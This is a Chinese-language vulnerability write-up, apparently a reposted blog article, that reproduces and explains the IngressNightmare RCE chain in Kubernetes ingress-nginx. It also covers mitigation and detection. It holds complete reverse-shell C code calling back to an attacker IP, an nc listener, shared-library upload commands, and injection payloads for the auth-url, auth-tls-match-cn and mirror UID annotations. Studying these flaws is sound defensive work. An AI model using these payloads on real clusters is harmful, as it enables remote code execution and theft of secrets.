近期,Ingress-Nginx爆出CVSS评分高达9.8的RCE漏洞,这里对其做了漏洞复现和原理分析。
需特别说明的是,RCE漏洞CVE-2025-1974需和IngressNightmare系列漏洞中的其他模板注入漏洞一起使用才可达成攻击目的。本文会给出3种漏洞组合的复现和原理分析,分别为:
漏洞组合 | 描述 |
---|---|
CVE-2025-1974 + CVE-2025-24514 | 通过 auth-url 注释注入RCE |
CVE-2025-1974 + CVE-2025-1097 | 通过 auth-tls-match-cn 注释注入RCE |
CVE-2025-1974 + CVE-2025-1098 | 通过镜像 UID 注入RCE |
本文力求深入浅出通俗易懂,即使你是云安全方面的小白,也能带你手把手从环境搭建到漏洞复现到漏洞分析。如果觉得本文对你有帮助,欢迎点赞留言+关注本公众号【云原生安全指北】。有不懂的也欢迎在文末评论留言交流^_^
全文大纲如下,有不想看的章节可自行跳过:
Ingress是Kubernetes中的一种API对象,用于管理外部访问集群内服务的规则,提供HTTP/HTTPS路由、负载均衡和基于名称的虚拟主机等功能。它充当集群入口流量的统一控制层,解耦服务暴露与路由策略。
而 Ingress-nginx 是一个基于NGINX的 Kubernetes Ingress 控制器,用于管理集群入口流量。它通过监听 Kubernetes API 的 Ingress 资源规则,动态配置 NGINX 以实现 HTTP/HTTPS 路由、负载均衡、TLS 终止和路径重写等功能,是 Kubernetes 中广泛使用的 Ingress 解决方案之一。
这里仅做简单介绍,漏洞成因及深入分析详见后文第三节。
CVE-2025-1974是由Wiz团队发现的一个Ingress-nginx组件漏洞,CVSS评分高达9.8。由于Kubernetes Pod中部署的准入控制器无需认证即可通过集群中的任意pod网络访问,攻击者可以通过向ingress-nginx发送特制的AdmissionReview请求,远程注入任意的NGINX配置,ingress-nginx在其后会对nginx配置进行测试,从而触发埋藏的恶意指令,导致Ingress-nginx中的任意代码执行。
在任一能够连接k8s集群的主机上执行命令检查是否使用ingress-nginx:
kubectl get pods --all-namespaces --selector app.kubernetes.io/name=ingress-nginx
若存在返回的pod详情,则说明集群使用了ingress-nginx组件。
使用命令查看其镜像tag,可以查看版本号是否在受影响范围内:
kubectl describe pod ingress-nginx-controller-f4b86cbdc-6wkzn -n ingress-nginx | grep Image:
可通过以下方式修复漏洞,或采取缓解措施降低风险:
controller.admissionWebhooks.enabled=false
参数重新安装ingress-nginxingress-nginx-admission
的 ValidatingWebhookConfiguration
,并从 ingress-nginx-controller
容器的 Deployment 或 DaemonSet 中删除 --validating-webhook
参数。CVE-2025-1974作为一个RCE漏洞,需和IngressNightmare系列中其他漏洞一起使用才可达成攻击目的,这里给出几种漏洞组合复现:
CVE-2025-1974+? | CVE-2025-24514 | CVE-2025-1097 | CVE-2025-1098 |
---|---|---|---|
漏洞组合描述 | 通过 auth-url 注释注入RCE | 通过 auth-tls-match-cn 注释注入RCE | 通过镜像 UID 注入RCE |
漏洞复现章节 | 2.1 | 2.2 | 2.3 |
漏洞分析章节 | 3.1.0 + 3.1.1 | 3.1.0 + 3.1.2 | 3.1.0 + 3.1.3 |
本文搭建了以下环境用于漏洞复现:
注:除特别说明使用攻击机外,所有操作均在靶机上执行
鉴于1.2中漏洞描述的受影响版本号,参考ingress-nginx官方适配k8s版本,k8s可任选1.20-1.32之间的版本进行安装。
可选安装方案:
参考ingress-nginx官方适配k8s版本,根据2.1.1中安装的k8s版本对应的Ingress-Nginx安装。
这里本文k8s版本为1.28.1,选取Ingress-Nginx v1.9.5进行安装
Deployment 是 Kubernetes 中用于声明式管理 Pod 副本集的资源对象,支持滚动更新、回滚和扩缩容等操作,确保应用始终处于预期状态。其声明文件使用yaml的格式像书写配置一样定义要运行多少个相同的程序(Pod)、用什么版本,之后它会按照该“说明手册”自动处理部署、更新和故障恢复,保证服务不中断。
使用命令下载Ingress-Nginx的deployment(其中的版本号根据上一步选取的版本号替换):
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.9.5/deploy/static/provider/baremetal/deploy.yaml
由于一些众所周知的原因,使用默认的docker/containerd镜像源无法成功下载到镜像,因此这里对deployment文件进行更改,替换其镜像源。
首先查询ingress-nginx所需镜像:
cat deploy.yaml | grep image:
> image: registry.k8s.io/ingress-nginx/controller:v1.9.5@sha256:b3aba22b1da80e7acfc52b115cae1d4c687172cbf2b742d5b502419c25ff340e
> image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80
> image: registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0@sha256:a7943503b45d552785aa3b5e457f169a5661fb94d82b8a3373bcd9ebaf9aac80
这里使用https://docker.aityp.com/搜索关键词ingress-nginx/controller:v1.9.5
、ingress-nginx/kube-webhook-certgen:v20231011
:
点击镜像标题,进入详情页,复制镜像代理地址:
更改deploy.yaml
中对应位置的镜像地址,更改后使用命令查看如下:
cat deploy.yaml | grep image:
> image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.9.5
> image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0
> image: swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20231011-8b53cabe0
使用以下命令部署:
kubectl apply -f deploy.yaml
部署完成后可通过命令查看部署情况(其中的-n参数表示指定命名空间为ingress-nginx):
kubectl get all -n ingress-nginx
正常情况下显示如下信息即表明部署成功(注意前几行的status):
pod/ingress-nginx-xxx后的status常见情况如下:
如果pod的status为Pending,可使用命令查看pod详情:
kubectl describe pod ingress-nginx-controller-58ddb59f6b-p9pns -n ingress-nginx
如果k8s集群为单节点,即只有一台机器安装了k8s节点,那么可能会遇到报错如下:
0/1 nodes are available: 1 node(s) had untolerated taint {node-role.kubernetes.io/control-plane: }. preemption: 0/1 nodes are available: 1 Preemption is not helpful for scheduling..
该错误表明节点存在不可容忍的污点,导致pod无法调度到该节点上,可通过命令查看并移除污点:
kubectl get node
kubectl describe node k8s-master01 | grep Taint
kubectl taint nodes k8s-master01 node-role.kubernetes.io/control-plane:NoSchedule-
kubectl describe node k8s-master01 | grep Taint
操作完成后,再次查看pod状态,可发现其恢复正常
这里构建一个镜像用于模拟失陷容器。
# 使用官方Python基础镜像
FROM python:3.11.7
# 设置工作目录
WORKDIR /app
# 安装requests库
RUN pip install --no-cache-dir httpx
# 设置容器启动时运行的命令
CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]
docker build -t python-test-ingress-nginx .
将docker镜像加载到containerd中:
docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -
查看containerd镜像:
sudo ctr -n k8s.io image ls | grep python
复制新的镜像tag以备后续部署
编写deployment文件python_deploy.yaml:
apiVersion: apps/v1
kind: Deployment
metadata:
name: python-app
namespace: test
spec:
replicas: 1
selector:
matchLabels:
app: python-app
template:
metadata:
labels:
app: python-app
spec:
containers:
- name: python-container
image: docker.io/library/python-test-ingress-nginx:latest
imagePullPolicy: Never
执行命令新建test命名空间并部署:
kubectl create ns test
kubectl apply -f python_deploy.yaml
查看其状态是否为running:
kubectl get pod -n test
本文使用的exp为yoshino-s/CVE-2025-1974 ,该exp以CVE-2025-24514+CVE-2025-1974的漏洞组合实现攻击。后续其他攻击复现都在该exp基础上进行更改。
使用命令下载payload,并进入到CVE-2025-1974目录:
git clone https://github.com/yoshino-s/CVE-2025-1974.git
cd CVE-2025-1974
本文模拟从失陷容器中直接发起攻击(更贴近真实攻击场景),因此不采用proxy的方式,需修改exploit.py
,在其第12、13行前添加#
以注释语句:
#admission_url = "https://localhost:18443/networking/v1/ingresses"
#url = "http://localhost:8080/fake/addr"
同时,修改其中的25行的遍历进程id的范围,更改后为:
for pid in range(26, 90):
上述数值通过不断地重启ingress-nginx-controller的pod查看其nginx进程而得,算是经验性的范围。
修改shell.c
文件中的服务器地址和端口为攻击机的ip和反弹shell的端口(随意指定,这里指定为9988),修改后的shell.c
文件为:
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
__attribute__((constructor)) static void reverse_shell(void)
{
char *server_ip="192.168.2.130";
uint32_t server_port=9988;
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
char *args[] = {"/bin/bash", NULL};
execve("/bin/bash", args, NULL);
}
使用命令编译shell.c文件为shell.so:
gcc -fPIC -Wall -shared -o shell.so shell.c -lcrypto
通过以下命令上传文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传:
kubectl cp -n test ./shell.so python-app-546fb5495b-vvgwb:/app/
通过以下命令上传exp文件到容器中(注意其中的pod名称需和上一步查看的pod名称一致),模拟失陷容器文件上传:
kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/
nc -lvnp 9988
kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
python ./exploit.py
稍等片刻,即可看到反弹shell成功:
修改req.json
中的request.object.metadata.annotations
,修改后为:
"annotations": {
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine xxx;\n#",
"nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs",
"nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
}
修改exploit.py
文件中的28-30行,将其改为:
data["request"]["object"]["metadata"]["annotations"]["nginx.ingress.kubernetes.io/auth-tls-match-cn"] = "CN=abc #(\n){}\n }}\nssl_engine %s;\n#" % (p,)
将修改后的exp上传到容器中(这里exploit.py
重命名为了exp.py
以作区分):
kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exploit_24514.py
和前面的方法类似,在攻击机中执行命令监听:
nc -lvnp 9988
进入容器中,在容器中执行命令运行exp:
kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
python ./exploit_24514.py
稍等片刻,即可看到反弹shell成功:
修改req.json
中的request.object.metadata
,修改后为:
"metadata": {
"uid": "test",
"name": "xxx",
"namespace": "default",
"creationTimestamp": null,
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "test"
}
},
修改exploit.py
文件中的28-30行,将其改为:
data["request"]["object"]["metadata"]["uid"] = "test;\n\n}\n}\n}\nssl_engine %s" % (p,)
将修改后的exp上传到容器中(这里exploit.py
重命名为了exp.py
以作区分):
kubectl cp -n test ./req.json python-app-546fb5495b-vvgwb:/app/req.json
kubectl cp -n test ./exploit.py python-app-546fb5495b-vvgwb:/app/exp.py
和前面的方法类似,在攻击机中执行命令监听:
nc -lvnp 9988
进入容器中,在容器中执行命令运行exp:
kubectl exec -it python-app-546fb5495b-vvgwb -n test -- bash
python ./exp.py
稍等片刻,即可看到反弹shell成功:
Kubernetes中的准入控制器(Admission Controller)是在API请求持久化之前拦截并处理请求的插件机制,用于强制实施自定义策略或验证资源规范,其Pod通常在集群内以较高的权限运行。
该机制在对象创建、更新或删除时触发,可修改(Mutating)或验证(Validating)请求内容,例如注入Sidecar容器、校验资源配额或实施安全策略。通过动态准入控制(如ValidatingWebhook
和MutatingWebhook
),用户能扩展K8s的准入逻辑而无须修改APIServer代码。
由于准入控制器本质上可看做一个Web服务器,通常不需要身份验证,因此其允许攻击者直接从网络中的任何 pod 访问,从而扩大了攻击面。
原理如图所示:
该漏洞可通过两种方途径触发:
步骤分析如下:
由于k8s中的准入控制器支持动态准入控制,且向准入控制器发送请求无需任何身份认证,因此,攻击者可向ingress-nginx的准入控制器发送一个恶意的AdmissionReview请求,该请求包含了一个含有ssl_engine
指令的payload配置。
注:payload原理为模板注入,详见后续漏洞原理分析章节3.1.1、3.1.2、3.1.3。
当ingress-nginx的准入控制器收到AdmissionReview请求时,会根据模板文件和提供的 Ingress 对象生成一个临时的 nginx 配置文件。在解析请求的过程中,ingress-nginx控制器存在模板注入漏洞,通过该漏洞,将恶意指令ssl_engine注入到了配置文件中(该部分原理分析见章节3.1.1、3.1.2、3.1.3)。
在Nginx临时配置文件生成完成后,ingress-nginx控制器会使用形如nginx -c /tmp/nginx/xxx -t
的命令测试配置文件有效性:
当nginx -t
命令被执行时,若配置文件中存在nginx指令,则指令会被执行。ssl_engine
是一个能够在nginx中加载共享库的指令,且其可以存在于配置文件中的任意位置,因此,可以使用该指令去加载恶意库,从而达成攻击目的(例如:反弹shell)。
ingress-nginx中不存在可以直接利用的恶意共享库,因此需要将其上传到容器中。(该步骤应在发送请求之前,但这里为了阐述逻辑连贯,将其置于此处描述)
其机制和过程如图所示:
进入到ingress-nginx-controller的pod中,可以看到其除了运行controller外,还运行nginx,其监听端口80/443:
nginx存在一个特性,在处理请求时,如果http请求体大于某个阈值(默认为 8KB),就会将请求体body保存到临时文件中:
因此,可以利用这种特性,将恶意库的内容作为请求体body,发送一个大于其阈值的http请求,这样nginx就会将其保存到pod中的临时目录。
尽管nginx会立即删除该文件,但nginx持有指向该文件的文件描述符fd,可以通过形如/proc/xx/fd/xxx
的形式访问该文件。
这里拿步骤2.0.5中的so文件做一个测试:
首先修改ingress-nginx-controller的deployment:
kubectl edit deploy ingress-nginx-controller -n ingress-nginx
修改spec.template.spec.containers.args.securityContext处配置,开启调试模式,修改后的securityContext配置如下:
securityContext:
allowPrivilegeEscalation: true
capabilities:
add:
- NET_BIND_SERVICE
drop:
- ALL
privileged: true
readOnlyRootFilesystem: false
runAsNonRoot: false
runAsUser: 0
seccompProfile:
type: RuntimeDefault
然后执行命令查看并进入新的ingress-nginx-controller容器:
kubectl get pod -n ingress-nginx
kubectl exec -it ingress-nginx-controller-f4b86cbdc-pzb6r -n ingress-nginx -- bash
打开新的标签页,进入任一包含该文件的其他容器,执行命令:
curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"
为了保持文件描述符fd打开,这里设置了Content-Length
为大于原文件大小(原文件大小可通过ls -la查看,这里为16576)的数值,还设置了Content-Type
为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。
然后回到ingress-nginx-controller容器,查看nginx的fd,可以看到存在指向被删除的临时文件的fd:
由于该操作是基于nginx进程完成,而处理恶意AdmissionReview请求的进程为ingress-nginx-controller,因此无法通过/proc/self/fd/xxx
的方式去访问该文件描述符fd,因此,在漏洞利用过程中需要发起多个恶意的AdmissionReview请求,爆破进程pid和文件描述符id,才能找到上传的共享库文件。
该漏洞攻击步骤主要分为两个部分:恶意共享库上传和发起恶意的AdmissionReview请求。其原理已在上方3.1.0.1、3.1.0.2中分析过了,这里对其exp进行分析。
要达成恶意共享库上传,要点在于:
难点在于第2个条件。这里结合网上公开的exp进行分析,分别有三种方式:
curl -X POST http://ingress-nginx-controller.ingress-nginx.svc/fake/addr --data-binary @shell.so -H "Content-Length: 165760" -H "Content-Type: application/octet-stream" -H "Connection: keep-alive"
上述命令中,设置了Content-Length
为大于原文件大小的数值,并设置Content-Type
为流式数据,这样nginx就会持续等待发送更多数据,从而导致进程挂起,文件描述符fd持续处于开启状态。
def exploit(ingress_url):
with open("evil_engine.so", "rb") as f:
evil_engine = f.read()
...
try:
sock = socket.create_connection((host, port))
except Exception as e:
print(f"Error connecting to {host}:{port}: {e} - host is up?")
sys.exit(0)
headers = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"User-Agent: qmx-ingress-exploiter\r\n"
f"Content-Type: application/octet-stream\r\n"
f"Content-Length: {fake_length}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode("iso-8859-1")
http_payload = headers + evil_engine
sock.sendall(http_payload)
asyncio
库,通过__aiter__
方法定义了一个异步迭代器,并在其中使用await asyncio.sleep(60 * 60 * 60)
在第二次迭代时休眠60小时,创造了一个长时间保持打开的http连接,从而也达到了让nginx持续等待进程挂起的作用:with open("shell.so", "rb") as f:
shellcode = f.read()
...
async def upload():
class FakeIterator:
def __init__(self):
self.done = False
async def __aiter__(self):
yield shellcode
await asyncio.sleep(60 * 60 * 60)
async with httpx.AsyncClient() as client:
res = await client.post(
url,
data=FakeIterator(),
)
print("Posting done")
一般情况下,AdmissionReview请求由k8s的api server发起,但由于 Admission Controller 缺乏身份验证,因此集群中的任何 pod 都可以制作并发送任意AdmissionReview 请求。
可以使用 kube-review 从 Ingress resource manifests创建AdmissionReview请求,示意如下:
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "732536f0-d97e-4c9b-94bf-768953754aee",
...
"name": "test",
"namespace": "default",
"operation": "CREATE",
...
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
"name": "test",
"namespace": "default",
...
"annotations": {
"nginx.ingress.kubernetes.io/backend-protocol": "FCGI"
}
},
"spec": {
"ingressClassName": "nginx",
"rules": [
{
"host": "test.com",
"http": {
"paths": [
{
"path": "/",
"pathType": "Prefix",
"backend": {
"service": {
"name": "test",
"port": {}
}
}
}
]
}
}
]
},
...
}
}
其中,ingress-nginx-admission-controller在解析其中的request.object.annotations
时存在模板注入漏洞,因此漏洞的payload会在这里携带精心构造的恶意指令。而恶意指令的构造就涉及到其他模板注入漏洞了,其原理分析详见后续章节3.1.1、3.1.2、3.1.3。
发起恶意AdmissionReview请求时,由于无法确定nginx进程号和指向上传的恶意库文件的文件描述符fd,因此需要遍历进程号和fd,并将其插入到构造的模板注入指令后。因此,可以看到两个exp中均存在进程和fd的遍历操作。
hakaioffsec/IngressNightmare-PoC 中的遍历操作如下:
with ThreadPoolExecutor(max_workers=max_workers) as executor:
for proc in range(1, 50): # can be increased to 100
for fd in range(3, 30): # can be increased to 100 (not recommended)
executor.submit(send_request, admission_url, json_data, proc, fd)
...
def send_request(admission_url, json_data, proc, fd):
...
path = f"proc/{proc}/fd/{fd}"
...
yoshino-s/CVE-2025-1974 中的遍历操作如下:
for pid in range(30, 90):
for fd in range(10, 40):
p = f"/proc/{pid}/fd/{fd}"
data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io/auth-url"
] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,)
在解析AdmissionReview请求中的request.object.annotations
配置时,若配置为身份验证相关的auth-url
:
"annotations": {
"nginx.ingress.kubernetes.io/auth-url": "http://test.com"
}
会采用authreq解析器去处理(注意其中的urlString
变量):
func (a authReq) Parse(ing *networking.Ingress) (interface{}, error) {
// Required Parameters
urlString, err := parser.GetStringAnnotation(authReqURLAnnotation, ing, a.annotationConfig.Annotations)
if err != nil {
return nil, err
}
authURL, err := parser.StringToURL(urlString)
if err != nil {
return nil, ing_errors.LocationDeniedError{Reason: fmt.Errorf("could not parse auth-url annotation: %v", err)}
}
...
return &Config{
URL: urlString,
...
}, nil
解析完成后,在创建临时配置文件时,上述返回值中的Config.URL
会作为$externalAuth.URL
直接注入到模板中:
proxy_http_version 1.1;
proxy_set_header Connection "";
set $target {{ changeHostPort $externalAuth.URL $authUpstreamName }};
{{ else }}
proxy_http_version {{ $location.Proxy.ProxyHTTPVersion }};
set $target {{ $externalAuth.URL }};
{{ end }}
proxy_pass $target;
从上述authreq解析代码中可以看出,只要配置值能够通过parser.StringToURL
解析成功,就可以直接注入到nginx配置模板中,因此,可以构造以下payload:
"nginx.ingress.kubernetes.io/auth-url": "http://test.com/#;\nssl_engine /proc/xx/fd/xx;"
经过模板注入后,生成的nginx配置如下所示:
...
proxy_http_version 1.1;
set $target http://example.com/#;
ssl_engine /proc/xx/fd/xx;
proxy_pass $target;
...
yoshino-s/CVE-2025-1974 采用的就是这种方式:
data["request"]["object"]["metadata"]["annotations"][
"nginx.ingress.kubernetes.io/auth-url"
] = "http://example.com/#;}}}\n\nssl_engine %s;\n\n" % (p,)
在解析AdmissionReview请求中的request.object.annotations
配置时,若配置为auth-tls-match-cn
:
"annotations": {
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#",
"nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs"
}
会采用authtls解析器去处理(注意其中的annotationAuthTLSMatchCN
和config.MatchCN
):
const (
...
annotationAuthTLSSecret = "auth-tls-secret" //#nosec G101
annotationAuthTLSMatchCN = "auth-tls-match-cn"
)
...
var authTLSAnnotations = parser.Annotation{
Group: "authentication",
Annotations: parser.AnnotationFields{
annotationAuthTLSSecret: {
Validator: parser.ValidateRegex(parser.BasicCharsRegex, true),
Scope: parser.AnnotationScopeLocation,
Risk: parser.AnnotationRiskMedium, // Medium as it allows a subset of chars
Documentation: `This annotation defines the secret that contains the certificate chain of allowed certs`,
},
...
annotationAuthTLSMatchCN: {
Validator: parser.CommonNameAnnotationValidator,
Scope: parser.AnnotationScopeLocation,
Risk: parser.AnnotationRiskHigh,
Documentation: `This annotation adds a sanity check for the CN of the client certificate that is sent over using a string / regex starting with "CN="`,
},
},
}
...
func (a authTLS) Parse(ing *networking.Ingress) (interface{}, error) {
var err error
config := &Config{}
tlsauthsecret, err := parser.GetStringAnnotation(annotationAuthTLSSecret, ing, a.annotationConfig.Annotations)
if err != nil {
return &Config{}, err
}
...
config.MatchCN, err = parser.GetStringAnnotation(annotationAuthTLSMatchCN, ing, a.annotationConfig.Annotations)
if err != nil {
if ing_errors.IsValidationError(err) {
return &Config{}, err
}
config.MatchCN = ""
}
return config, nil
}
从上述代码中可以看到该字段采用CommonNameAnnotationValidator
去做校验,校验方法代码如下:
func CommonNameAnnotationValidator(s string) error {
if !strings.HasPrefix(s, "CN=") {
return fmt.Errorf("value %s is not a valid Common Name annotation: missing prefix 'CN='", s)
}
if _, err := regexp.Compile(s[3:]); err != nil {
return fmt.Errorf("value %s is not a valid regex: %w", s, err)
}
return nil
}
只要该字段值以CN=
开头,并且剩余字符符合正则表达式语法,即可校验成功。
该字段对应nginx配置模板中的$server.CertificateAuth.MatchCN
,nginx模板如下:
set $proxy_upstream_name "-";
{{ if not ( empty $server.CertificateAuth.MatchCN ) }}
{{ if gt (len $server.CertificateAuth.MatchCN) 0 }}
if ( $ssl_client_s_dn !~ {{ $server.CertificateAuth.MatchCN }} ) {
return 403 "client certificate unauthorized";
}
{{ end }}
{{ end }}
因此,可以构造符合要求的payload:
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine /proc/xx/fd/xx;\n#",
经过解析后,nginx配置如下所示:
...
set $proxy_upstream_name "-";
if ( $ssl_client_s_dn !~ CN=abc #(
){} }}
ssl_engine /proc/xx/fd/xx;
# ) {
return 403 "client certificate unauthorized"; }
...
由于上述authtls解析器代码中Parse函数会校验auth-tls-secret
是否为空:
因此需要同时携带nginx.ingress.kubernetes.io/auth-tls-secret
参数才可以正常生成nginx配置文件,该参数对应于集群中存在的 TLS 证书或密钥对。由于 Ingress NGINX 使用的服务帐户可以访问集群中的所有密钥,因此我们可以从任何命名空间指定任何密钥名称,只要其符合所需的 TLS 证书/密钥对格式即可,以下值均可使用:
kube-system/konnectivity-certs
kube-system/azure-wi-webhook-server-cert
kube-system/aws-load-balancer-webhook-tls
kube-system/hubble-server-certs
kube-system/cilium-ca
calico-system/node-certs
cert-manager/cert-manager-webhook-ca
linkerd/linkerd-policy-validator-k8s-tls
linkerd/linkerd-proxy-injector-k8s-tls
linkerd/linkerd-sp-validator-k8s-tls
hakaioffsec/IngressNightmare-PoC 采用的payload如下:
"annotations": {
"nginx.ingress.kubernetes.io/auth-tls-match-cn": "CN=abc #(\n){}\n }}\nssl_engine ../../../../../../REPLACE;\n#",
"nginx.ingress.kubernetes.io/auth-tls-secret": "calico-system/node-certs",
"nginx.ingress.kubernetes.io/backend-protocol": "FCGI" //该句配置不携带也可以达成攻击目的
}
在解析AdmissionReview请求中的request.object.annotations
配置时,若配置为mirror-target
:
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "test"
}
会采用mirror解析器去处理(注意其中的config.Source
):
func (a mirror) Parse(ing *networking.Ingress) (interface{}, error) {
config := &Config{
Source: fmt.Sprintf("/_mirror-%v", ing.UID),
}
...
config.Target, err = parser.GetStringAnnotation(mirrorTargetAnnotation, ing, a.annotationConfig.Annotations)
if err != nil {
if errors.IsValidationError(err) {
klog.Warningf("annotation %s contains invalid value, defaulting", mirrorTargetAnnotation)
} else {
config.Target = ""
config.Source = ""
}
}
...
这里会对ingress object中的UID
直接进行拼接作为config.Source
的值,该字段对应nginx配置模板中的$location.Mirror.Source
:
{{ if $location.Mirror.Source }}
mirror {{ $location.Mirror.Source }};
mirror_request_body {{ $location.Mirror.RequestBody }};
{{ end }}
因此,可以构造payload(注意其中的uid
):
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
...
"object": {
"kind": "Ingress",
"apiVersion": "networking.k8s.io/v1",
"metadata": {
...
"uid": "test;\n\n}\n}\n}\nssl_engine /proc/xx/fd/xx",
"annotations": {
"nginx.ingress.kubernetes.io/mirror-target": "test" //这里为任意值都行,只要符合正则表达式语法
}
},
...
注入模板后,nginx配置文件如下所示:
...
mirror /_mirror-test;
}
}
}
ssl_engine /proc/xx/fd/xx;
mirror_request_body on;
...
Esonhugh/ingressNightmare-CVE-2025-1974-exps的payload如下:
{{- if .IsMirrorWithUID }}
"uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar",{{- end }}
"annotations": {
{{- if .IsMirrorWithUID }}
"nginx.ingress.kubernetes.io/mirror-target": "fake-mirror-target"{{- end }}
从安全工具的角度出发,可通过以下方式检出该漏洞/攻击过程(仅列举检测思路):
漏洞检测:
漏洞攻击检测:
AdmissionReview
请求AdmissionReview*nginx.ingress.kubernetes.io/auth-url*#*ssl_engine
AdmissionReview*nginx.ingress.kubernetes.io/auth-tls-match-cn*CN=*#*ssl_engine
AdmissionReview*nginx.ingress.kubernetes.io/mirror-target*uid*ssl_engine
ingress-nginx-controller
日志,是否存在短时间内大量nginx -t
的配置文件测试日志,例如:ingress-nginx-controller
容器进程命令行,是否存在短时间内大量nginx -c /tmp/nginx/nginx-cfg* -t
的进程启动,例如:注:该文章转载自微信公众号【云原生安全指北】
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!